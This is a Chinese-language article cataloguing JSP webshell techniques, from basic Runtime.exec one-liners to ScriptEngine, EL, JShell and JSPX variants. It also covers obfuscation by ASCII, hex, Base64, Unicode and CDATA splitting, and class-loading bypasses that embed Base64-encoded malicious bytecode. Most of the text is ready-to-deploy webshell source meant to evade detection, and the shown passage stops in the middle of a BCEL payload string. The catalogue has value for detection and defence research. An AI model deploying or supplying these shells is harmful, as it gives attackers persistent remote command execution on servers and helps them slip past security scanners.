Jsp Webshell

命令执行

Runtime 和 ProcessBuilder

Java一般用的命令执行语句有两个:

Runtime.getRuntime().exec("cmd");
java.lang.ProcessBuilder(new String[]{"cmd"}).start();

Runtime实际上是调用了java.lang.ProcessBuilder#start

而ProcessBuilder又是调用了java.lang.ProcessImpl#start

最后是调用了ProcessImpl的私有构造方法

ProcessImpl

虽然无法直接实例化该类调用,但可以通过反射调用其start方法:

String [] cmd={"cmd","/c","whoami"};
Class processimpl=Class.forName("java.lang.ProcessImpl");
Method m1=processimpl.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
m1.setAccessible(true);
Process p=(Process) m1.invoke(processimpl,cmd,null,null,null,false);

一句话木马其实就是调用上面的命令执行方法,然后输出结果。这里以Runtime为例,其余的只要换一下命令执行函数就行。

<%
if("023".equals(request.getParameter("pwd"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1; byte[] b = new byte[2048]; out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b,0,a));}out.print("</pre>");
}
%>

Method.invoke的代替

  • 用MethodUtil替换method.invoke
MethodUtil.invoke(m1,processimpl,new Object[]{"calc".split(" "), null, null, null, false});
  • 直接调用底层的MethodAccessor
ReflectionFactory reflectionFactory = AccessController.doPrivileged(new sun.reflect.ReflectionFactory.GetReflectionFactoryAction());
MethodAccessor methodAccessor = reflectionFactory.newMethodAccessor(method);
methodAccessor.invoke(clz,new Object[]{"calc".split(" "), null, null, null, false});

表达式类调用

ScriptEngineManager

还可以通过JS引擎调用Java对象

ScriptEngineManager manager = new ScriptEngineManager(null);
ScriptEngine engine = manager.getEngineByName("js");
String script="java.lang.Runtime.getRuntime().exec(\"calc\")";
engine.eval(script);

ScriptEngine代码执行的小马:

<%javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");engine.put("request", request);engine.put("response", response);engine.eval(request.getParameter("mr6"));
%>

换个Nashorn引擎,加上回显

<%ScriptEngineManager manager = new ScriptEngineManager(null);ScriptEngine engine = manager.getEngineByName("nashorn");String payload=request.getParameter("cmd");Compilable compEngine=(Compilable)engine;CompiledScript script=compEngine.compile(payload);BufferedReader object=(BufferedReader)script.eval();String line="";String result="";while((line=object.readLine())!=null){result=result+line;}out.println(result);
%>

?cmd=new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("whoami").getInputStream()));

再把这个语句编码后写进入

<%@ page import="javax.script.ScriptEngineManager" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%//linux//String s1 = "s=[3];s[0]='/bin/bash';s[1]='-c';s[2]='";//winString s1 = "s=[3];s[0]='cmd';s[1]='/c';s[2]='";String s2 = request.getParameter("cmd");String s3 = new String(Base64.getDecoder().decode("JztqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhzKTs="));Process process = (Process) new ScriptEngineManager().getEngineByName("nashorn").eval(s1 + s2 + s3);InputStream inputStream = process.getInputStream();StringBuilder stringBuilder = new StringBuilder();BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));String line;while((line = bufferedReader.readLine()) != null) {stringBuilder.append(line).append("\n");}if (stringBuilder.length() > 0) {response.getOutputStream().write(stringBuilder.toString().getBytes());}
%>

Tomcat EL表达式

ELProcessor

<%@ page import="javax.el.ELProcessor" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%StringBuilder stringBuilder = new StringBuilder();String cmd = request.getParameter("cmd");for (String tmp:cmd.split(" ")) {stringBuilder.append("'").append(tmp).append("'").append(",");}String f = stringBuilder.substring(0, stringBuilder.length() - 1);ELProcessor processor = new ELProcessor();Process process = (Process) processor.eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](["+ f +"]).start()\")");InputStream inputStream = process.getInputStream();StringBuilder stringBuilder2 = new StringBuilder();BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));String line;while((line = bufferedReader.readLine()) != null) {stringBuilder2.append(line).append("\n");}if (stringBuilder2.length() > 0) {response.getOutputStream().write(stringBuilder2.toString().getBytes());}
%>

ELManager

或者像在servlet写el表达式解析语句一样调用

其实也是ELProcessor#eval的具体实现类

private final ExpressionFactory factory;public ELProcessor() {this.context = this.manager.getELContext();this.factory = ELManager.getExpressionFactory();
}
public Object getValue(String expression, Class<?> expectedType) {ValueExpression ve = this.factory.createValueExpression(this.context, bracket(expression), expectedType);return ve.getValue(this.context);
}

webshell

<%@ page import="java.io.InputStream" %>
<%@ page import="javax.el.ELContext" %>
<%@ page import="javax.el.ELManager" %>
<%@ page import="javax.el.ExpressionFactory" %>
<%@ page import="javax.el.ValueExpression" %>
<%@ page import="sun.misc.IOUtils" %>
<%String cmd = request.getParameter("cmd");StringBuilder stringBuilder = new StringBuilder();for (String tmp:cmd.split(" ")) {stringBuilder.append("'").append(tmp).append("'").append(",");}String f = stringBuilder.substring(0, stringBuilder.length() - 1);String expression = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](["+ f +"]).start()\")";ELManager manager = new ELManager();ELContext context = manager.getELContext();ExpressionFactory factory = ELManager.getExpressionFactory();ValueExpression ve = factory.createValueExpression(context, "${" + expression + "}", Object.class);InputStream inputStream = ((Process)ve.getValue(context)).getInputStream();response.getOutputStream().write(IOUtils.readFully(inputStream, -1, false));
%>

JShell (JDK>=9)

<%=jdk.jshell.JShell.builder().build().eval(request.getParameter("cmd"))%>

常规变形混淆

类反射+字符串编码

ASCII

<%@ page contentType="text/html;charset=UTF-8"  language="java" %>
<%if(request.getParameter("cmd")!=null){Class rt = Class.forName(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }));Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke(rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null), request.getParameter("cmd") );java.io.InputStream in = e.getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){ out.println(new String(b)); }out.print("</pre>");}
%>

HEX

<%@ page contentType="text/html;charset=UTF-8" import="javax.xml.bind.DatatypeConverter" language="java" %>
<%if(request.getParameter("cmd")!=null){Class rt = Class.forName(new String(DatatypeConverter.parseHexBinary("6a6176612e6c616e672e52756e74696d65")));Process e = (Process) rt.getMethod(new String(DatatypeConverter.parseHexBinary("65786563")), String.class).invoke(rt.getMethod(new String(DatatypeConverter.parseHexBinary("67657452756e74696d65"))).invoke(null), request.getParameter("cmd") );java.io.InputStream in = e.getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){ out.println(new String(b)); }out.print("</pre>");}
%>

BASE64

    <%@ page contentType="text/html;charset=UTF-8" language="java" %><%@ page import="sun.misc.BASE64Decoder" %><%if(request.getParameter("cmd")!=null){BASE64Decoder decoder = new BASE64Decoder();Class rt = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU=")));Process e = (Process)rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(newString(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, newObject[]{}), request.getParameter("cmd") );java.io.InputStream in = e.getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>

Unicode编码

<% \u0069\u0066\u0028\u0022\u0030\u0032\u0033\u0022\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0070\u0077\u0064\u0022\u0029\u0029\u0029\u007b\u000a\u0020\u0020\u0020\u0020\u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0069\u006e\u0020\u003d\u0020\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0069\u0022\u0029\u0029\u002e\u0067\u0065\u0074\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0069\u006e\u0074\u0020\u0061\u0020\u003d\u0020\u002d\u0031\u003b\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0020\u003d\u0020\u006e\u0065\u0077\u0020\u0062\u0079\u0074\u0065\u005b\u0032\u0030\u0034\u0038\u005d\u003b\u0020\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u0028\u0022\u003c\u0070\u0072\u0065\u003e\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0077\u0068\u0069\u006c\u0065\u0028\u0028\u0061\u003d\u0069\u006e\u002e\u0072\u0065\u0061\u0064\u0028\u0062\u0029\u0029\u0021\u003d\u002d\u0031\u0029\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e\u0028\u006e\u0065\u0077\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0062\u002c\u0030\u002c\u0061\u0029\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u007d\u000a\u0020\u0020\u0020\u0020\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u0028\u0022\u003c\u002f\u0070\u0072\u0065\u003e\u0022\u0029\u003b\u000a\u007d
%>

内部类

https://xz.aliyun.com/t/7798#toc-6

class A {B b;final class B {private Method o;private Object oo;private Object[] ooo;public B() throws ClassNotFoundException, NoSuchMethodException {Class clz = Class.forName("java.lang.ProcessImpl");Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class,ProcessBuilder.Redirect[].class, boolean.class);method.setAccessible(true);o = method;oo = clz;ooo = new Object[]{s.split(" "), null, null, null, false};}}public A() throws ClassNotFoundException, NoSuchMethodException {b = new B();}public Object invokex()throws InvocationTargetException, IllegalAccessException {return MethodUtil.invoke(b.o, b.oo, b.ooo);}}Process process = (Process) new A().invokex();

Jspx

HTML实体编码

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" version="2.0"><jsp:scriptlet>if("023".equals(request.getParameter("pwd"))){
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
    int a = -1; byte[] b = new byte[2048]; out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b,0,a));
    }
    out.print("</pre>");
}</jsp:scriptlet>
</jsp:root>

命名空间绕过

<jsp:scriptlet>标签默认命名空间为jsp实际可以换成<default:scriptlet>

<Any:scriptlet>任意名字都行。

表达式调用

<jsp:expression>去调用表达式相当于<%=..%>

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" version="2.0"><jsp:expression>new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream())).readLine()</jsp:expression>
</jsp:root>

回显只有一行 ipconfig这种就不行了

CDATA拆分关键字

同样是利用xml的特性,CDATA 部分中的所有内容都会被解析器忽略,相当于注释符,就和xxe绕过关键词一样。

CDATA 部分由 <![CDATA[ 开始,由 ]]> 结束。

<xxx:root xmlns:xxx="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" version="2.0"><xxx:directive.page import="java.io.BufferedReader"/><xxx:scriptlet>BufferedReader object=new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Run<![CDATA[time.get]]>Run<![CDATA[tim]]>e().ex<![CDATA[ec(reque]]>st.getParameter("cmd")).getInputStream()));String line="";String result="";while((line=object.readLine())!=null){result=result+line;}out.println(result);</xxx:scriptlet>
</xxx:root>

类加载绕过

调用defineClass

反射调用

import java.lang.reflect.Method;
import java.util.Base64;
public class TestDefineClass {public static void main(String[] args) throws Exception {Method defineClass =  ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);defineClass.setAccessible(true);byte[] code = Base64.getDecoder().decode("yv66vgAAADQAJgoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtMZXZsaUNsYXNzOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHABwBAApTb3VyY2VGaWxlAQAOZXZsaUNsYXNzLmphdmEMAAkACgcAIAwAIQAiAQAEY2FsYwwAIwAkAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAJQAKAQAJZXZsaUNsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAIAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAABAA0AAAAMAAEAAAAFAA4ADwAAAAgAEAAKAAEACwAAAGEAAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAwAMAAAAFgAFAAAABAAJAAcADAAFAA0ABgARAAgADQAAAAwAAQANAAQAEQASAAAAEwAAAAcAAkwHABQEAAEAFQAAAAIAFg==");Class evli = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "evliClass", code, 0, code.length);evli.newInstance();}
}

类继承Classloader

自定义类
public static class x extends ClassLoader //继承ClassLoader{   public  Class get(byte[] b){return super.defineClass(b, 0, b.length);}       }
public static void main(String[] args) throws Exception {String classStr="evilClassByte"; #恶意类字节码BASE64Decoder code=new sun.misc.BASE64Decoder();Class result=new x().get(code.decodeBuffer(classStr));//将base64解码成byte数组,并传入自定义类的get函数System.out.println(result.newInstance());}
JDK原生类

com.sun.jmx.remote.util.OrderClassLoaders

public class ClassLoaderTest2{public static void main(String[] args) throws Exception {byte[] mes = java.util.Base64.getDecoder().decode("evilClassByte");Class OC=Class.forName("com.sun.jmx.remote.util.OrderClassLoaders");java.lang.reflect.Method m = OC.getSuperclass().getDeclaredMethod("defineClass",new Class[]{byte[].class,int.class,int.class});m.setAccessible(true);java.lang.reflect.Constructor  c=OC.getDeclaredConstructor(new Class[]{ClassLoader.class,ClassLoader.class});c.setAccessible(true);Object cl=Thread.currentThread().getContextClassLoader();Object  d=c.newInstance(new Object[]{cl,cl});Object evil =((Class) m.invoke(d, new Object[]{mes, 0, mes.length})).newInstance();}
}

具体使用可以看https://xz.aliyun.com/t/11368

javax.management.loading.MLet`

这个类是继承的URLClassLoader

import java.net.URL;public class ClassLoaderTest1 extends java.net.URLClassLoader{public ClassLoaderTest1(URL[] urls, ClassLoader parent) {super(urls, parent);}public static void main(String[] args) throws Exception {byte[] mes = java.util.Base64.getDecoder().decode("evilClassByte");java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);m.setAccessible(true);Class clazz = Class.forName("javax.management.loading.MLet");Object Mlet = clazz.getDeclaredConstructor(URL[].class, ClassLoader.class).newInstance(new URL[0], this.getClass().getClassLoader());Object evil = ((Class)m.invoke(Mlet, mes, 0, mes.length)).newInstance();}
}

下面这几个获取类加载器的方法,我在本地环境的jsp上测试都是可以的

  • this.getClass().getClassLoader()
  • new ClassLoader(){}
  • ClassLoader.getSystemClassLoader()
  • Thread.currentThread().getContextClassLoader()

jdk.nashorn.internal.runtime.ScriptLoader

Nashorn是于Java 8中用于取代Rhino(Java 6,Java 7)的JavaScript引擎

可以看到这个类最后还是继承自ClassLoader,他的loadClass方法就是调用自ClassLoader

public class ScriptLoadTest {public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {// 获取ScriptLoader对象Class cls=Class.forName("jdk.nashorn.internal.runtime.ScriptLoader");Constructor constructor=cls.getDeclaredConstructor(Context.class);constructor.setAccessible(true);Object o=constructor.newInstance(new jdk.nashorn.internal.runtime.Context(new Options(""),null,null));// 执行installClass方法Method m1=cls.getDeclaredMethod("installClass", String.class, byte[].class, CodeSource.class);m1.setAccessible(true);BASE64Decoder decoder=new sun.misc.BASE64Decoder();Class E=(Class)m1.invoke(o,"Evil",decoder.decodeBuffer("evilClassByte"),new CodeSource(null,(Certificate[]) null));E.newInstance();}
}

Proxy动态代理

动态代理则直接得到代理类的Class对象,然后通过反射创造实例,当中就有defineClass的操作。

public class ProxyDefineTest {public static void main(String[] args) throws NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException, InstantiationException {ClassLoader classLoader=ClassLoader.getSystemClassLoader();Method m1= Proxy.class.getDeclaredMethod("defineClass0", ClassLoader.class, String.class, byte[].class, int.class, int.class);m1.setAccessible(true);BASE64Decoder decoder=new sun.misc.BASE64Decoder();byte[] classBytes=decoder.decodeBuffer("evilClassByte");String className="Evil";Class E=(Class) m1.invoke(null,classLoader,className,classBytes,0,classBytes.length);E.newInstance();}
}

下面几种加载方式的jsp马,搬运自threedr3am 师傅的文章都0202年了老嗨还在用的 - 各种姿势jsp webshell各种姿势jsp webshell

TemplatesImpl 加载

<%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" %>
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl" %>
<%@ page import="java.io.File" %>
<%@ page import="java.io.FileInputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.nio.file.Files" %>
<%@ page import="java.nio.file.Paths" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="sun.misc.IOUtils" %>
<%@ page import="sun.reflect.misc.FieldUtil" %>
<html>
<body>
<h2>利用TemplatesImpl触发的JSP Webshell</h2>
<%String tmp = System.getProperty("java.io.tmpdir");String inputFile = tmp + File.separator + "jabdhjabdjkandaldlanaklndkand.txt";String outputFile = tmp + File.separator + "jfkdjkadnkladmknjknfkjnadkad.txt";String s = request.getParameter("threedr3am");if (Files.exists(Paths.get(inputFile)))Files.delete(Paths.get(inputFile));Files.write(Paths.get(inputFile), s.getBytes());TemplatesImpl t = new TemplatesImpl();Field field = FieldUtil.getDeclaredFields(t.getClass())[4];byte[][] bytes = new byte[1][];bytes[0] = Base64.getDecoder().decode("yv66vgAAADQAjwoAJgA5CAA6CgA7ADwHAD0KAAQAOQoABAA+CQA/AEAIAEEKAAQAQggAQwoARABFBwBGCgBHAEgKAEkASgoADABLCABMCABNCgAMAE4IAE8KAAwAUAoARABRCgBSAFMHAFQHAFUKABgAVgoAFwBXCgAXAFgIAFkHAFoKAEkAWwoASQBcCgAMAF0HAF4KAEkAXwcAYAoAIwBhBwBiBwBjAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEADVN0YWNrTWFwVGFibGUHAGIHAEYHAGQHAD0HAFQHAGABAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApFeGNlcHRpb25zBwBlAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBABJUaHJlZWRyM2FtXzExLmphdmEMACcAKAEADmphdmEuaW8udG1wZGlyBwBmDABnAGgBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAaQBqBwBrDABsAG0BAANjbWQMAG4AbwEABnJlc3VsdAcAcAwAcQByAQAQamF2YS9sYW5nL1N0cmluZwcAcwwAdAB1BwB2DAB3AHgMACcAeQEAASUBAAAMAHoAewEAASAMAHwAfQwAfgB/BwCADACBAIIBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAJwCDDAAnAIQMAIUAbwEAAQoBABhqYXZhL25pby9maWxlL0xpbmtPcHRpb24MAIYAhwwAiACJDACKAIsBABhqYXZhL25pby9maWxlL09wZW5PcHRpb24MAIwAjQEAE2phdmEvbGFuZy9UaHJvd2FibGUMAI4AKAEADVRocmVlZHIzYW1fMTEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JbnB1dFN0cmVhbQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAMamF2YS9pby9GaWxlAQAJc2VwYXJhdG9yAQASTGphdmEvbGFuZy9TdHJpbmc7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEAE2phdmEvbmlvL2ZpbGUvUGF0aHMBAANnZXQBADsoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uaW8vZmlsZS9QYXRoOwEAE2phdmEvbmlvL2ZpbGUvRmlsZXMBAAxyZWFkQWxsQnl0ZXMBABgoTGphdmEvbmlvL2ZpbGUvUGF0aDspW0IBAAUoW0IpVgEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZleGlzdHMBADIoTGphdmEvbmlvL2ZpbGUvUGF0aDtbTGphdmEvbmlvL2ZpbGUvTGlua09wdGlvbjspWgEABmRlbGV0ZQEAFyhMamF2YS9uaW8vZmlsZS9QYXRoOylWAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAFd3JpdGUBAEcoTGphdmEvbmlvL2ZpbGUvUGF0aDtbQltMamF2YS9uaW8vZmlsZS9PcGVuT3B0aW9uOylMamF2YS9uaW8vZmlsZS9QYXRoOwEAD3ByaW50U3RhY2tUcmFjZQAhACUAJgAAAAAAAwABACcAKAABACkAAAFwAAUACAAAANsqtwABEgK4AANMuwAEWbcABSu2AAayAAe2AAYSCLYABrYACU27AARZtwAFK7YABrIAB7YABhIKtgAGtgAJTrgAC7sADFksA70ADLgADbgADrcADxIQEhG2ABISE7YAFLYAFbYAFjoEuwAEWbcABToFuwAXWbsAGFkZBLcAGbcAGjoGGQa2ABtZOgfGABMZBRkHtgAGEhy2AAZXp//oLQO9AAy4AA0DvQAduAAemQAOLQO9AAy4AA24AB8tA70ADLgADRkFtgAJtgAgA70AIbgAIlenAAhMK7YAJLEAAQAEANIA1QAjAAIAKgAAAEIAEAAAABIABAAUAAoAFQAkABYAPgAYAGcAGQBwABoAggAcAI0AHQCdAB8ArwAgALoAIQDSACQA1QAiANYAIwDaACUAKwAAADMABf8AggAHBwAsBwAtBwAtBwAtBwAuBwAvBwAwAAD8ABoHAC0c/wAaAAEHACwAAQcAMQQAAQAyADMAAgApAAAAGQAAAAMAAAABsQAAAAEAKgAAAAYAAQAAACoANAAAAAQAAQA1AAEAMgA2AAIAKQAAABkAAAAEAAAAAbEAAAABACoAAAAGAAEAAAAwADQAAAAEAAEANQABADcAAAACADg=");field.setAccessible(true);field.set(t, bytes);Field field2 = FieldUtil.getDeclaredFields(t.getClass())[12];field2.setAccessible(true);field2.set(t, TransformerFactoryImpl.newInstance());Field field3 = FieldUtil.getDeclaredFields(t.getClass())[3];field3.setAccessible(true);field3.set(t, "threedr3am");Field field4 = FieldUtil.getDeclaredFields(t.getClass())[7];field4.setAccessible(true);field4.set(t, new HashMap<>());try {t.getOutputProperties();} catch (Exception e) {}String resutl = new String(IOUtils.readFully(new FileInputStream(new File(outputFile)), -1, true));response.getOutputStream().write(resutl.getBytes());
%>
</body>
</html>

BCEL字节码

<%@ page import="com.sun.org.apache.bcel.internal.util.ClassLoader" %>
<html>
<body>
<h2>BCEL字节码的JSP Webshell</h2>
<%String bcelCode = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85U$5bW$hU$U$fe$86$ML$Y$a6$40$93r$d5$e2$8d$dap$ebh$eb$a5$96$8a6$I$V$N$X$81$82$Uo$93$c9$n$M$9d$cc$c4$c9$a4$82w$fd$N$fe$H_$adKC$97$b8$7c$f4$c1G$7f$86$bf$c1e$fd$ce$q$40b$c2$f2a$ce$99$b3$f7$9e$bd$bf$fd$ed$bd$cf$fc$f1$cf$_$bf$Bx$B$df$ea$Y$c6$8c$86$d7t$b4$c9$fdu$N$b7t$a41$x$977t$cca$5eG$3bn$ebP$f1$a6$5c$W$a4$e1$5bq$bc$z$f7L$tz$b1$a8aI$c72V$e2xG$c7$w$d6t$ac$e3$8e$5c6tl$e2$ddNl$e1n$i$db$3a$de$c3$fb$g$3eP$Q$LDIA$o$b3g$dd$b7L$d7$f2$f2$e6Z$Y8$5e$7eZA$c7M$c7s$c2$Z$F$7d$a9f$f5$d8$86$Cu$d6$cf$J$F$3d$Z$c7$TK$e5BV$E$ebV$d6$V$d2$9do$5b$ee$86$V8$f2$5c$T$aa$e1$ae$c3P$X2$eb$bb$81$Q$b9$e0$9aU$d8$U$d9$b5$5d$e1$ba$M$W$b3$L9$F$e7J$91$f7t$d9qs$oP0$d4$U$b8$a6$e2$X$dd$d9$f2$ce$8e$IDnUX$91$f1$60$d5$d8$f1$cdt$83$86$b6$aaK$88t$bf$WZ$f6$bdE$ab$YA$oW$g$3e$q$df$a4Z$81$3e$b7o$8bb$e8$f8$5eI$c3G$K$e2$a1_$8dH$c8$a9$b1V$fc$a8$F$cb$f1$U$f4$a7$b6$cf$a0$c7$K$f2L8$d9B$ad$a0$cb$f1$8a$e5$90Ga$V$c8$f0$J$f4$85S1$ad$da$b3$H$a1$acO$dbv$9a$fe$ec$88n$7d$cd$_$H$b6$98w$q$a9$D$cdd$5e$91$ae$M$5c$84E$f5$Z$f4$Ruk$aeHy$L$qU$9d$86$ac$B$h9$D$C$3b$g$f2$Gv$e1$c8$40$7br$b9g$c0$c5U$D$F$90$TE7$f0$bc$3c$3d$86$c7$d9$O$cd$m5$f8$G$8a$f8$98Uk$91$81$edZ$rV$n0PB$a8$a1l$e0$3e$3e1$b0$8f$D$N$9f$g$f8$M$9fk$f8$c2$c0$97$f8$8au$g$jM$cf$ceeFG5$7cm$e0$h$8c$u$e8$3d$cdz9$bb$t$ec$b0At$5c$d5$e4I$a2$cb$t$a5g$l$a6d$e9$ce$9f$9a$af$96$bd$d0$vH$de$f3$o$3c9$f45$b4DM$y$7bB$ec$L$5b$c1$e5V$TS$tZ$J$7c$5b$94J$d3$N$91jBv6$p$z$d4$b7$c7$c0q$b4$a6$G$ZL$b5T$c8$i$92$a7$aa$da$iHi$9c$fa$5c$s$9a$86$O$abX$U$k$a7n$ea$7f$d0$few$f2zNU$b3$b2RU$c4$d1k$c6$afuQ$D$3fu$w$7e$de$d7RA$c0$92$60Q$8a$ba$fbV$e98$f7$b1$b3$c15$b1$91l$nV$d0I$a1$e3V$_$n$96w$81U$92$qp$baR$dbiy$bcj$fb$F$b3T$f6L$3f$c8$9bV$d1$b2w$